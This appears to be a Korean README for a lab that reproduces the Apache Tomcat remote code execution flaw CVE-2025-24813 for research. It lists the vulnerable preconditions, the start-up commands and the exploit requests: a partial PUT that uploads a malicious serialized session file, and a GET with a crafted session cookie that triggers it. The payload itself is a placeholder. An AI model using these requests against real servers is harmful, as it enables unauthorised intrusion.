설명

이 저장소는 CVE-2025-24813 Tomcat 최신 RCE를 재현하기 위한 환경입니다.

학습 및 연구 목적으로만 사용하세요!

이용 조건

애플리케이션이 DefaultServlet 쓰기 기능을 활성화해야 합니다. 기본적으로 비활성화되어 있습니다.
애플리케이션이 partial PUT 요청을 지원하여 악의적인 직렬화 데이터를 세션 파일에 쓸 수 있어야 합니다. 이 기능은 기본적으로 활성화되어 있습니다.
애플리케이션이 Tomcat의 파일 세션 지속성을 사용하고 기본 세션 저장 위치를 사용해야 합니다. 추가 구성이 필요합니다.
애플리케이션에 역직렬화 취약점이 있는 라이브러리(예: 클래스패스 내 commons-collections)가 포함되어 있어야 합니다. 이 조건은 비즈니스 구현이 역직렬화 이용 체인이 있는 라이브러리에 의존하는지에 따라 달라집니다.

본 환경은 위 재현 조건이 모두 활성화되어 있습니다

Linux:

chmod +x apache-tomcat-9.0.98/bin/*
apache-tomcat-9.0.98/bin/catalina.sh run

Windows:

apache-tomcat-9.0.98/bin/catalina.bat run

악의적인 직렬화 파일을 생성하고, 다음 패킷을 사용하여 업로드합니다. Range의 청크 값이 Length와 일치하고 현재 파일 길이보다 커야 합니다.

PUT /xxxxx/session HTTP/1.1  
Host: 192.168.131.32:8080  
Content-Length: 1000  
Content-Range: bytes 0-1000/1200  

{{역직렬화 파일 내용}}

다음 POC를 사용하여 트리거:

GET / HTTP/1.1  
Host: 192.168.131.32:8080  
Cookie: JSESSIONID=.xxxxx